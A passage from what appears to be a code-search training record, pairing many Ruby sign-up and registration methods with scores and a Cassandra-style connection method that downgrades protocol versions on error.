sign_up_helper\n username = prompt.ask(\"Enter Username\")\n while User.find_by(name: username.downcase)\n puts \"This username is already taken, please create a different username\"\n username = prompt.ask(\"Enter Username\")\n end\n password = prompt.ask(\"Enter Password\")\n self.user = User.create(name: username, password: password)\n puts \"Sign up complete.\"\n sleep(0.8)\n puts \"Let's Get Cookin #{self.user.name.upcase}!!!\"\n sleep(1.5)\n main_menu\n end", "def sign_up(resource_name, resource)\n # sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n redirect_to users_url\n end", "def sign_up\n self.sign_up_link\n CreateNewAccount.new @browser\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n flash[:notice] = \"Sign up successfully.\"\n end", "def signup\r\n\t@title = \"Sign Up\"\r\n end", "def signup\n if params[:user]\n if User.exists?(id: params[:user_id])\n #check if the user already exists in database\n flash[:notice] = \"User already exists. Please log in\"\n redirect_to root_path()\n else\n auth_user\n end\n else\n auth_user\n end\n \n end", "def submit_signup_details_without_password\n user = Users.signup_user_without_password\n enter_signup_details(user)\n # @pages.page_home.signup_register_button\n end", "def sign_up(resource_name, resource)\n true\n end", "def sign_up(resource_name, resource)\n true\n end", "def success_signup\n redirect_to root_path if flash[:notice].nil? || flash[:notice] != t('devise.registrations.signed_up_but_inactive')\n end", "def signup\n client.signup(\n params[:user],\n params[:password]\n )\n end", "def registration\n @saas = SETTINGS['saas_registration_mode']\n @user = User.new\n initialize_registration_form\n @errors = {\n :general => [],\n :subjects => [],\n :policies => [],\n :purchase => []\n }\n end", "def sign_up\n @user = User.new(user_params)\n if @user.save\n sign_in(@user)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def signup_step1\n unless defined? params[:signup_email] or params[:signup_password]\n flash[:error] = \"Fields can't be blank !\"\n render :js => form_err_js(:signup_email, \"Please put your email and password. Fields can't be blank !\")\n else\n\n @email = params[:signup_email] if defined? params[:signup_email]\n @password = params[:signup_password] if defined? params[:signup_password]\n\n if defined? params[:type]\n case params[:type]\n when 'Student'\n @user = Student.create(:email => @email, :password => @password, :password_confirmation => @password)\n when 'Teacher'\n @user = Teacher.create(:email => @email, :password => @password, :password_confirmation => @password)\n when 'Coach'\n @user = Coach.create(:email => @email, :password => @password, :password_confirmation => @password)\n end\n redirect_to root_path, notice: \"Please check your Inbox for Account Confirmation Mail!\" if @user\n end\n end\n end", "def signup!(params)\n self.username = params[:user][:username]\n self.email = params[:user][:email]\n save_without_session_maintenance\n end", "def signup!(params)\n self.username = params[:user][:username]\n self.email = params[:user][:email]\n save_without_session_maintenance\n end", "def sign_up(resource_name, resource)\n # DO NOT sign_in(resource_name, resource)\n end", "def create\n @form = Users::SignUpForm.from_params(params)\n\n Users::SignUp.call(@form) do\n on(:ok) { redirect_to dashboard_index_path }\n on(:invalid) { render :new}\n on(:race_non_unique_email) do\n flash.now[:alert] = t(:email_taken)\n render :new\n end\n end\n end", "def create\n if resource.active_invitation? && !resource.new_record?\n # The user record already existed\n if resource.update(sign_up_params)\n resource.accept_invitation\n\n # Follow the standard Devise logic to sign in\n set_flash_message! :notice, :signed_up\n sign_up(resource_name, resource)\n respond_with resource, location: after_sign_up_path_for(resource)\n else\n # Follow the standard Devise failed registration logic\n clean_up_passwords resource\n set_minimum_password_length\n respond_with resource\n end\n elsif !Rails.configuration.x.recaptcha.enabled || verify_recaptcha(action: 'register')\n\n # Devise doesn't set a flash message for some reason if its going to fail\n # so do it here\n super do |user|\n flash[:alert] = _('Unable to create your account!') unless user.valid?\n\n # Attach the Shib eppn if this is part of an SSO account creation\n hash = session.fetch('devise.shibboleth_data', {})\n if hash.present? && user.valid?\n user.attach_omniauth_credentials(scheme_name: 'shibboleth',\n omniauth_hash: hash)\n end\n end\n else\n flash[:alert] = _('Invalid security check! Please make sure your browser is up to date and then try again')\n end\n end", "def signup\n @user = User.new(params[:user])\n if @user.save\n redirect_to :controller => 'sessions', :action => 'new'\n else\n render'index'\n flash.now[:error]= \"Sign up failure, please try again.\"\n end\n end", "def sign_up\n NexaasID::Resources::SignUp.new(api_token, config)\n end", "def signup!(params)\n self.login = params[:user][:login]\n self.email = params[:user][:email]\n save_without_session_maintenance\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def before_POST(req)\n super\n @errors = validate_signup(@posted)\n get_signup(req) if has_errors?\n end", "def register\n if @user.blank? || (!@user.is_registered && @user.tips.count == 0 && @user.votes.count == 0)\n redirect_to :profile, alert: \"Registration Impossible. There is nothing to register\"\n elsif @user.is_registered\n redirect_to :profile, alert: \"Registration Impossible. Account already registered\"\n else\n if @user.register(user_registration_params.to_h)\n #cookies.delete(\"user_id\") #don't delete the cookie, just in case I'm logging in on someone else's device.\n sign_in @user\n redirect_to :profile, notice: \"Account successfully registered. You can now login from anywhere !\"\n else\n redirect_to :profile, alert: \"Registration failed. #{@user.errors.full_messages.to_sentence}\"\n end\n end\n end", "def create \n\t\t@user=User.new\n\t\t@user.provider=\"native\"\n\t\t@user.assign_attributes(signup_params)\n\t\t@user.save!\n\t\tflash[:success]=\"Thanks for joining SPACEF!T, #{@user.name ||\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@user.email.split(\"@\").first }. \"\n\t\tsign_in!(@user, true)\n\t\tredirect_to root_path\n\trescue ActiveRecord::RecordInvalid,\n\t\t\t\t\tActiveRecord::RecordNotUnique => e\n\t\tflash.now[:error]=\"We were not able to sign you up, please correct the following fields\"\n\t\t@user.wipe\n\t\trender 'new'\n\tend", "def signup\n case request.method\n when :post\n @user = User.new(params['user'])\n \n if @user.save \n session['user'] = User.authenticate(@user.login, params['user']['password'])\n flash['notice'] = _(\"Signup successful\")\n redirect_back_or_default :action => \"welcome\" \n end\n end \n end", "def signup \n @page_title = 'Sign Up'\n return if generate_blank\n params[:user][:email].downcase!\n @user = User.new(params[:user]) \n if params[:account_type].nil?\n flash[:warning] = \"Please select a user type (student/renter/instructor).\"\n return\n end\n User.transaction(@user) do\n @user.new_password = true\n\n unless LoginEngine.config(:use_email_notification) and LoginEngine.config(:confirm_account)\n @user.email_verified = true\n end\n \n if @user.save\t\n @group = Group.find_by_group_name(params[:account_type]) \n @user.add_group @group\n key = @user.generate_security_token\n url = url_for(:action => 'home', :user_id => @user.id, :key => key)\n UserNotify.deliver_signup(@user, params[:user][:password], url)\n\n flash[:notice] = 'Signup successful! Please check your email at '\n flash[:notice] << @user.email + ' and confirm your membership before using the system.'\n @session[:user] = nil\n redirect_to '/'\n end\n end\n end", "def signup\n puts 'signup is happening here'\n permitted = params.require('signup').permit(['email', 'password', 'password_confirmation'])\n @newUser = User.new(permitted)\n if @newUser.save\n head :ok\n else\n render json:{\"reason\": \"could not create user\"}, status: 422\n end\n end", "def register\n # running successfully\n # class_name = params[:user_type].camelize\n # registration_stuff = params[\"#{params[:user_type].to_sym}\"]\n # template = \"#{params[:user_type].pluralize}/new\"\n # save_credentials(class_name, registration_stuff, template)\n\n if(params[:user_type] == 'job_seeker')\n class_name = \"JobSeeker\"\n registration_stuff = params[:job_seeker]\n template = \"job_seekers/new\"\n save_credentials(class_name, registration_stuff, template)\n else\n class_name = \"Employer\"\n registration_stuff = params[:employer]\n template = \"employers/new\"\n save_credentials(class_name, registration_stuff, template)\n end\n end", "def signup\n @user_genders = User.genders_for_select\n if request.get?\n redirect_to admin_dashboard_path if User.count != 0\n @user = User.new({:role => 'admin'})\n else\n @user = User.new(params[:user])\n if @user.save\n if params[:send_credentials]\n Notifications.admin_user_created(@user).deliver\n end\n flash[:notice] = t('Successfully signup admin user')\n redirect_to admin_dashboard_path\n end\n end\n rescue Errno::ECONNREFUSED => e\n flash[:error] = t(:signup_mail_delivery_error)\n redirect_to admin_dashboard_path\n end", "def signup(params)\n if self.is_client?\n user = self.employees.create!(name: params[:name],last_name: params[:last_name],\n email: params[:email],password: params[:password],password_confirmation: params[:password_confirmation])\n GroupsUser.create!(user_id: user.id,group_id: params[:group_id])\n user\n else\n user = self.clients.create!(name: params[:name],email: params[:email],password: params[:password],\n password_confirmation: params[:password_confirmation])\n end\n end", "def signup\n\n\t\temail = params[:email] # Extract the email from the params of the signup form\n\t\ttimezone = params[:timezone] # Extract the timezone from the params of the signup form\n\n\t\t@url = uniqueUrlKeyGenerator # Generate a unique url key\n\t\told_user = User.find_by_email(email)\n\n\t\t# If user exists\n\t\tif !old_user.nil?\n\t\t # If user is not registered\n\t\t if !old_user.registered?\n\t\t # Send welcome email again and save him\n\t\t old_user.sendWelcomeEmail\n\t\t old_user.save\n\t\t end\n\t\tend\n\n\t\t# Find the user in the user db with the same email as extracted in the params\n\t\tcheck_users = User.find_by_email(email)\n\n\t\t#create a new PotentialUser object with the extarcted email, timezone and url key\n\t\tuser = User.new(email: email, url: @url, timezone: timezone, day: 1, registered: false)\n\n\t\t# If no such user exists\n\t\tif check_users.nil?\n\n\t\t#If the new user is valid and can be saved\n\t\t if user.save\n\t\t user.sendWelcomeEmail\n\t\t @title = \"Thank you for signing up\"\n\t\t @result = \"A confirmation email with instructions has been sent to you\"\n\t\t @result2 = \"Your unique access key is: \" + @url\n\n\t\t#If not valid\n\t\t else\n\t\t #Set @result as the error message\n\t\t @title = \"Looks like something went wrong ...\"\n\t\t @result = \"Email #{user.errors[:email][0]}.\".html_safe\n\t\t end\n\n\t\t#User by this email already exists\n\t\telse\n\n\t\t if !check_users.registered?\n\t\t\t # Result instance variable for the view\n\t\t\t @title = \"Looks like something went wrong ...\"\n\t\t\t @result = \"User by this email already exists, but we sent another confirmation email just in case\"\n\t\t\t else\n\t\t\t @title = \"Looks like something went wrong ...\"\n\t\t\t @result = \"User by this email already exists\"\n\t\t end\n\n\tend\n\n\t\t# Respond to only javascript, set for AJAX\n\t\trespond_to do |format|\n\t\t\tformat.js\n\t\tend\n\tend", "def signup_complete\n\n if params[:signup_complete_form]\n \n @signup_complete_form = SignupCompleteForm.new(params[:signup_complete_form])\n\n if @signup_complete_form.valid?\n \n # try and create the member in sfdc\n new_member_create_results = CsApi::Account.create(SfdcConnection.admin_dbdc_client.oauth_token, params[:signup_complete_form]).symbolize_keys!\n logger.info \"[SessionsController]==== creating a new third party user with email address (#{@signup_complete_form.email}): #{new_member_create_results.to_yaml}\"\n \n # if the user was created successfully in sfdc\n if new_member_create_results[:success].eql?('true')\n \n # delete the user if they already exists\n User.delete(User.find_by_username(new_member_create_results[:username]))\n \n user = User.new(:username => new_member_create_results[:username], \n :sfdc_username => new_member_create_results[:sfdc_username], \n :password => Encryptinator.encrypt_string(ENV['THIRD_PARTY_PASSWORD']))\n \n logger.info \"[SessionsController]==== try to save #{@signup_complete_form.email} to the database\"\n\n if user.save\n logger.info \"[SessionsController]==== saving #{@signup_complete_form.email} to the database\"\n # sign the user in\n sign_in user\n logger.info \"[SessionsController]==== #{@signup_complete_form.email} successfully signed in\"\n # send the 'welcome' email -- taken care of by the API now\n # Resque.enqueue(WelcomeEmailSender, current_access_token, new_member_create_results[:username]) unless ENV['MAILER_ENABLED'].eql?('false')\n # add the user to badgeville\n Resque.enqueue(NewBadgeVilleUser, current_access_token, new_member_create_results[:username], new_member_create_results[:sfdc_username]) unless ENV['BADGEVILLE_ENABLED'].eql?('false')\n unless session[:marketing].nil?\n # update their info in sfdc with the marketing data\n Resque.enqueue(MarketingUpdateNewMember, current_access_token, new_member_create_results[:username], session[:marketing]) \n # delete the marketing session hash\n session.delete(:marketing)\n end\n # check for any referral & update the record with the newly created member\n unless session[:referral].nil?\n Resque.enqueue(ProcessReferral, session[:referral], new_member_create_results[:username]) \n # delete the referral_id session hash\n session.delete(:referral)\n end\n redirect_to welcome2cloudspokes_path\n else\n logger.error \"[SessionsController]==== error creating a new third party member after manually entering their email address. Could not save to database.\"\n render :inline => \"Whoops! An error occured during the authorization process. Please hit the back button and try again.\"\n end \n \n # display the error to them in the flash\n else \n logger.info \"[SessionsController]==== error creating new member: #{new_member_create_results[:message]}\"\n flash.now[:error] = new_member_create_results[:message]\n end\n end\n else\n # first time through -- prepopulate the form from the session\n @signup_complete_form = SignupCompleteForm.new(session[:auth])\n if ['github','twitter'].include?(@signup_complete_form.provider) \n @signup_complete_form.provider_username = @signup_complete_form.username\n else\n @signup_complete_form.provider_username = @signup_complete_form.email \n end\n \n logger.info \"[SessionsController]==== starting the signup process for #{session[:auth][:provider]}\"\n end\n end", "def signup!(params)\n self.login = params[:user][:login]\n self.email = params[:user][:email]\n generate_temporary_password!\n save_without_session_maintenance\n end", "def sign_up_with(&blk)\n @signup = blk if blk\n @signup\n end", "def create\n if Feedbunch::Application.config.signups_enabled\n super\n else\n Rails.logger.warn \"Creation of new user attempted, but signups are disabled\"\n redirect_to root_path\n end\n end", "def sign_up\n opt_sign_up = @@prompt.select(\"Would you like to sign-up, log-in or exit\", %W(sign-up log-in exit))\n case opt_sign_up\n when \"sign-up\"\n system(\"clear\")\n get_useranme\n get_password\n get_account\n confirm_account\n when \"log-in\"\n system(\"clear\")\n log_in\n when \"exit\"\n greet = Greet.new\n system(\"clear\")\n greet.bye_msg\n exit\n end\n end", "def signup\n @user = User.new(params[:user])\n return unless request.post?\n if @user.save\n flash[:notice] = \"New user added!\"\n redirect_to :action=>'show', :id=>@user\n end\n end", "def signup!(params)\n self.email = params[:user][:email]\n self.name = params[:user][:name]\n self.password = params[:user][:password]\n #save_without_session_maintenance\n end", "def create\n # Modified the super class to allow for ip address on sign_up\n build_resource(sign_up_params)\n resource.sign_up_ip = request.env['REMOTE_ADDR']\n resource.save\n yield resource if block_given?\n if resource.persisted?\n if resource.active_for_authentication?\n set_flash_message! :notice, :signed_up\n sign_up(resource_name, resource)\n respond_with resource, location: after_sign_up_path_for(resource)\n else\n set_flash_message! :notice, :\"signed_up_but_#{resource.inactive_message}\"\n expire_data_after_sign_in!\n respond_with resource, location: after_inactive_sign_up_path_for(resource)\n end\n else\n clean_up_passwords resource\n set_minimum_password_length\n respond_with resource\n end\n\n if @teacher.persisted?\n @teacher.submit_signup\n end\n cookies[:is_signed_in] = teacher_signed_in?\n cookies[:signed_in_type] = 'teacher'\n if teacher_signed_in?\n cookies[:name] = current_teacher.first_name\n end\n end", "def authenticate_user_with_sign_up!\n unless user_signed_in?\n store_location_for(:user, request.fullpath)\n redirect_to new_user_registration_path, alert: t(\"create_an_account_first\")\n end\n end", "def create\n build_resource sign_up_params\n\n if resource.save\n Notifier.notify_superusers_of_access_request(resource).deliver\n if resource.active_for_authentication?\n set_flash_message :notice, :signed_up if is_navigational_format?\n sign_in(resource_name, resource)\n respond_with resource, :location => after_sign_up_path_for(resource)\n else\n set_flash_message :notice, :\"signed_up_but_#{resource.inactive_message}\" if is_navigational_format?\n expire_session_data_after_sign_in!\n respond_with resource, :location => after_inactive_sign_up_path_for(resource)\n end\n else\n clean_up_passwords resource\n respond_with resource\n end\n end", "def ensure_signed_up!\n # current_user\n end", "def after_sign_up_path_for(resource)\n super\n end", "def after_sign_up_path_for(resource)\n self.track_user_created\n super(resource)\n end", "def sign_up(resource_name, resource)\r\n sign_in(resource_name, resource)\r\n end", "def create\n\t\t@path = [link_to_signup]\n\t\t@subnavigation = []\n\n cookies.delete :auth_token\n # protects against session fixation attacks, wreaks havoc with \n # request forgery protection.\n # uncomment at your own risk\n # reset_session\n\n @user = User.new(params[:user])\n\t\n\t\t# for the user details\n\t\t@user_detail = UserDetail.new(params[:user_detail])\n\t\t\n\t\t@user.user_detail = @user_detail\n\t\t\n\t\t# what will be the login name be\n\t\tif params[:last_name_check] == \"1\"\n\t\t\t@user.login = @user_detail.last_name\n\t\telse\n\t\t\t@user.login = @user_detail.first_name + \" \" + @user_detail.last_name\n\t\tend\n\n\n\t\tvalid1 = @user.valid?\n\t\tvalid2 = @user_detail.valid?\n\n\t\tif valid1 && valid2\n\t\t\t@user.save!\n\t\n\t\t\t@user_detail.save!\n\t\t\n self.current_user = @user\n redirect_back_or_default('/')\n flash[:notice] = \"Thanks for signing up!\"\n else\n render :action => 'new'\n end\n end", "def create\n build_resource(sign_up_params)\n\n respond_to do |format|\n if resource.save\n format.html { redirect_to admin_root_path, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end \n\n if resource.save\n if resource.active_for_authentication?\n set_flash_message :notice, :signed_up if is_navigational_format?\n sign_up(resource_name, resource)\n respond_with resource, :location => after_sign_up_path_for(resource)\n else\n set_flash_message :notice, :\"signed_up_but_#{resource.inactive_message}\" if is_navigational_format?\n expire_session_data_after_sign_in!\n respond_with resource, :location => after_inactive_sign_up_path_for(resource)\n end\n else\n clean_up_passwords resource\n respond_with resource\n end\n end", "def sign_up\n user = User.new(user_params); user.id = SecureRandom.uuid # genrating secure uuid token\n if params[:role].present? && params[:role] == \"Coach\"\n set_type_n_category\n if @category.present? && @type.present?\n user.category_id = @category.id\n user.leason_type_id = @type.id\n end\n end\n if user.save\n image_url = \"\"\n image_url = url_for(user.profile_photo) if user.profile_photo.attached?\n if user.role == \"Coach\"\n render json: { user_id: user.id, email: user.email, name: user.name, phone: user.phone , video_calling_id: user.video_calling_id, profile_photo: image_url, city: user.city, about: user.about, background: user.background, category: user.category, type: user.leason_type, \"UUID\" => user.id, \"Authentication\" => user.authentication_token }, status: 200\n else\n render json: { user_id: user.id, email: user.email, name: user.name, phone: user.phone , video_calling_id: user.video_calling_id, profile_photo: image_url, city: user.city, \"UUID\" => user.id, \"Authentication\" => user.authentication_token }, status: 200\n end\n else\n render json: user.errors.messages, status: 400\n end\n rescue StandardError => e # rescue if any exception occurr\n render json: { message: \"Error: Something went wrong... #{e}\" }, status: 400\n end", "def user_signup_finished?\n unless is_guest?\n if current_user == User.friendly.find(params[:id])\n @user = current_user\n if @user.valid? == false # If user's attributes are missing, sends them to 'Finish Profile Page'\n flash[:alert] = \"Please finish signing up for Ossemble by entering your First Name, Last Name, Birth Date, Address, and ensuring your location is correct.\"\n redirect_to edit_user_registration_path # Finish Profile Page Setup with form\n end\n end\n end\n end", "def create\n build_resource(sign_up_params)\n\n resource.save\n yield resource if block_given?\n if resource.persisted?\n if resource.active_for_authentication?\n set_flash_message! :notice, :signed_up\n sign_up(resource_name, resource)\n # respond_with resource, location: after_sign_up_path_for(resource)\n render 'users/registrations/finish_registration'\n # redirect_to(controller: \"custom_registration\", action: \"index\") and return\n else\n set_flash_message! :notice, :\"signed_up_but_#{resource.inactive_message}\"\n expire_data_after_sign_in!\n # respond_with resource, location: after_inactive_sign_up_path_for(resource)\n render 'users/registrations/finish_registration'\n # redirect_to(controller: \"custom_registration\", action: \"index\") and return\n end\n else\n clean_up_passwords resource\n set_minimum_password_length\n respond_with resource\n end\n end", "def after_sign_up_path_for(resource)\n super(resource)\nend", "def sign_up\n user = User.new(user_params); user.id = SecureRandom.uuid # genrating secure uuid token\n if user.save\n image_url = \"\"\n image_url = url_for(user.profile_photo) if user.profile_photo.attached?\n render json: { email: user.email, first_name: user.first_name, last_name: user.last_name, profile_photo: image_url, \"UUID\" => user.id, \"Authentication\" => user.authentication_token }, status: 200\n else\n render json: user.errors.messages, status: 400\n end\n rescue StandardError => e # rescue if any exception occurr\n render json: { message: \"Error: Something went wrong... #{e}\" }, status: 400\n end", "def signup\n if params['user']\n params['username'] ||= params['user']['name'] if params['user']['name']\n params['password'] ||= params['user']['password'] if params['user']['password']\n params['role'] ||= params['user']['role'] || 'customer' if params['user']['role']\n\n end\n if params['username'] and params['password'] and params['role']\n # This action has been invoked by the signup form.\n @user = User.create(:role => params['role'],\n :name => params['username'],\n :password => params['password'])\n if @user.new_record?\n flash[:error] = @user.errors.messages.collect{|k,v| \"#{k} #{v.join(k.to_s)}\"}\n else\n unless session['user_attributes']\n session['user_attributes'] = @user.attributes\n session['user_attributes']['id'] = @user.id\n\n flash[:notice] = \"Welcome #{@user.name}, you have signed up as a #{@user.role}\"\n if session[:redirect_to]\n redirect_to session[:redirect_to]\n else\n redirect_to(root_url)\n end\n end\n end\n else\n # This action was not invoked by the signup form, redirect\n # to the form.\n\n if params['role'] == 'marketeer'\n # We do not allow users to create marketeer (admin) users by\n # crafting their own URLs.\n flash[:error] = 'Marketeer users may only be created through the Users management page'\n redirect_to(root_url)\n end\n\n @user = User.new(:role => params[:role])\n end\n end", "def sign_up\n\t\tif params[:uuid].present?\n\t\t\t@existing_member = Com::Nbos::User.where(uuid: params[:uuid])\n\t\t\tif @existing_member.present?\n\t\t\t\trender :json => @existing_member.first\n\t\t\telse\n\t\t\t\t@member = build_user(params)\n\t\t\t\tif @member && @member.save\n\t\t\t\t\trender :json => @member\n\t\t\t\telse\n\t\t\t\t\trender :json => {status: 500, message: @member.errors.messages}, status: 500\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\trender :json => {status: 400, message: \"Bad Request\"}, status: 400\n\t\tend\t\n\tend", "def set_sign_up\n @sign_up = SignUp.find(params[:id])\n end", "def set_sign_up\n @sign_up = SignUp.find(params[:id])\n end", "def create\n build_resource(sign_up_params)\n\n resource.save\n yield resource if block_given?\n if resource.persisted?\n if resource.active_for_authentication?\n set_flash_message! :notice, :signed_up\n sign_up(resource_name, resource)\n respond_with resource, location: after_sign_up_path_for(resource)\n else\n set_flash_message! :notice, :\"signed_up_but_#{resource.inactive_message}\"\n expire_data_after_sign_in!\n respond_with resource, location: after_inactive_sign_up_path_for(resource)\n end\n else\n clean_up_passwords resource\n set_minimum_password_length\n redirect_to new_matcher_registration_path, notice: error_al_registrar(resource)\n end\n end", "def after_sign_up_path_for(resource)\n if current_user\n update_mixpanel_user current_user\n $tracker.track(current_user.id, 'Sign Up', {\n '$email' => current_user.email,\n 'first_name' => current_user.first_name,\n 'last_name' => current_user.last_name,\n 'phone_number' => current_user.phone_number,\n 'occupation' => current_user.occupation,\n 'is_contributor' => current_user.is_contributor,\n 'current_sign_in_at' => current_user.current_sign_in_at,\n 'last_sign_in_at' => current_user.last_sign_in_at,\n 'current_sign_in_ip' => current_user.current_sign_in_ip,\n 'last_sign_in_ip' => current_user.last_sign_in_ip,\n 'receive_information_emails' => current_user.receive_information_emails\n })\n \n if ENV['MAILGUN_KEY']\n current_user.send_confirmation_instructions\n end\n\n end\n if $discord_bot\n $discord_bot.send_message($discord_bot_channel_notifications, \"Se ha registrado un nuevo usuario :tada:\")\n end\n\n #TODO\n #Validate student email.\n\n session[:user_just_signed_up] = true\n if params[:pricing_onboarding]\n #TODO \n #Otro if igual al primero con un && is_student y que dentro del envie is_student de param en lugar de is_monthly\n if !params[:is_monthly].blank?\n user_trial = UserTrial.create(user_id: current_user.id, trial_start: DateTime.now, trial_end: DateTime.now + 2.weeks, active: false)\n users_preferences_path(is_onboarding:true, go_to_law: params[:go_to_law], is_monthly: params[:is_monthly])\n elsif !params[:is_annually].blank?\n user_trial = UserTrial.create(user_id: current_user.id, trial_start: DateTime.now, trial_end: DateTime.now + 2.weeks, active: false)\n users_preferences_path(is_onboarding:true, go_to_law: params[:go_to_law], is_annually: params[:is_annually])\n else\n #When user chooses Prueba Gratis\n user_trial = UserTrial.create(user_id: current_user.id, trial_start: DateTime.now, trial_end: DateTime.now + 2.weeks, active: true)\n if ENV['MAILGUN_KEY']\n SubscriptionsMailer.welcome_basic_user(current_user).deliver\n SubscriptionsMailer.free_trial_end(current_user).deliver_later(wait_until: user_trial.trial_end - 1.days)\n NotificationsMailer.cancel_notifications(current_user).deliver_later(wait_until: user_trial.trial_end)\n end\n\n users_preferences_path(is_onboarding:true, redirect_to_valid:true)\n end\n else\n pricing_path(is_onboarding:true, go_to_law: params[:go_to_law], go_to_checkout: params[:go_to_checkout], user_just_registered: true)\n end\n end", "def create\n user_params = sign_up_params\n @user = User.new(user_params)\n if user_params[:password] == \"\" || user_params[:password_confirmation] == \"\"\n puts \"NO PASSWORD ERROR\"\n flash[:error] = \"Need a password to sign up\"\n redirect_to '/signin'\n return \n end\n if params[:company_serial]\n company = Company.find_by(company_token: params[:company_serial])\n if company\n @user.company_id = company.id\n if company.company_name == \"IVA\"\n @user.admin = true\n end\n else\n flash[:alert] = \"The serial key provided was invalid.\"\n redirect_to '/signin'\n end\n else\n flash[:alert] = \"A company serial key must be provided to register.\"\n redirect_to '/signin'\n end\n \n if @user == \"\"\n flash[:alert] = \"Please provide a password to register with.\"\n redirect_to '/signin'\n else\n @user.save\n begin\n sign_in @user\n rescue \n flash[:error] = \"Email already in use\"\n redirect_to '/signin' and return \n end\n if !@user.admin\n Apartment::Tenant.switch(Company.find(@user.company_id).company_name.gsub(/'/,'').gsub(/\\s/,''))\n end\n redirect_to \"/pearlception\" and return\n end\n \n end", "def create\n @sign_up = SignUp.new(params[:sign_up])\n\t@referer ||= request.env['HTTP_REFERER']\n\t@sign_up.ip_address = request.remote_ip\n @sign_up.user_agent = request.env['HTTP_USER_AGENT']\n @sign_up.referer = @referer\n\n respond_to do |format|\n if @sign_up.save\n format.html { render :action => \"thanks\", :notice => 'Sign up was successful.' }\n #redirect_to :thanks\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sign_up.errors, :status => :unprocessable_entity }\n end\n end\n end", "def sign_up\n user = User.new(signup_params)\n if user.save\n response = {success: true, result: user.id}\n render json: response, status: :created\n else\n response = {success: false}\n render json: response, status: :internal_server_error\n end\n end", "def sign_up_client\n\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def sign_up(resource_name, resource)\n sign_in(resource_name, resource)\n end", "def new\n if current_user\n flash[:notice] = 'you are already signed up'\n redirect_to home_path\n else\n @user = User.new\n render 'signup/step1'\n end\n end", "def signup\n @user = User.new\n end", "def signup\n @user = User.new\n end", "def ensure_signup_complete\n # Ensure we don't go into an infinite loop\n return if action_name == 'finish_signup'\n\n # Redirect to the 'finish_signup' page if the user\n # email hasn't been verified yet\n if user_signed_in? && current_user && ( !current_user.email_verified?() || !current_user.username_verified?())\n redirect_to finish_signup_path(current_user)\n end\n end" ]
[ "0.8075081", "0.8075081", "0.73807573", "0.73402673", "0.732464", "0.7223948", "0.7183166", "0.7058047", "0.70064324", "0.699061", "0.6978432", "0.69737256", "0.6960635", "0.695787", "0.69378656", "0.692887", "0.6927564", "0.69152457", "0.69066954", "0.68908393", "0.6867426", "0.6851509", "0.6851509", "0.68411356", "0.6832677", "0.6781312", "0.67760885", "0.6772385", "0.6731261", "0.6731261", "0.6707483", "0.6685435", "0.6676322", "0.6645141", "0.6642262", "0.663922", "0.66340274", "0.663356", "0.6631605", "0.66172755", "0.6614004", "0.6610526", "0.6604795", "0.66028994", "0.65722424", "0.6564553", "0.65612906", "0.6549172", "0.6535649", "0.65318817", "0.65292525", "0.6529056", "0.65079284", "0.65035075", "0.64889026", "0.6487253", "0.6485442", "0.6484112", "0.64780915", "0.64585435", "0.6453834", "0.6448876", "0.6448858", "0.644169", "0.64362997", "0.6434371", "0.64321715", "0.6430862", "0.64254636", "0.64253026", "0.6415405", "0.6415405", "0.64014727", "0.6400963", "0.6392888", "0.6382923", "0.6381616", "0.63725936", "0.63679415", "0.63679415", "0.63679415", "0.63679415", "0.63679415", "0.63679415", "0.63679415", "0.63679415", "0.63679415", "0.63679415", "0.63679415", "0.63679415", "0.63679415", "0.63679415", "0.63679415", "0.63679415", "0.63679415", "0.63679415", "0.63679415", "0.63668257", "0.6366681", "0.6366681", "0.63657254" ]
0.0
-1
close unclaimed connections in five seconds
def do_connect(host) create_connector.connect(host.ip.to_s).fallback do |error| case error when Errors::ProtocolError synchronize do if @options.protocol_version > 1 @logger.info("Host #{host.ip} doesn't support protocol version #{@options.protocol_version}, downgrading") @options.protocol_version -= 1 do_connect(host) else Ione::Future.failed(error) end end when Error Ione::Future.failed(error) else e = Errors::IOError.new(error.message) e.set_backtrace(error.backtrace) Ione::Future.failed(e) end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
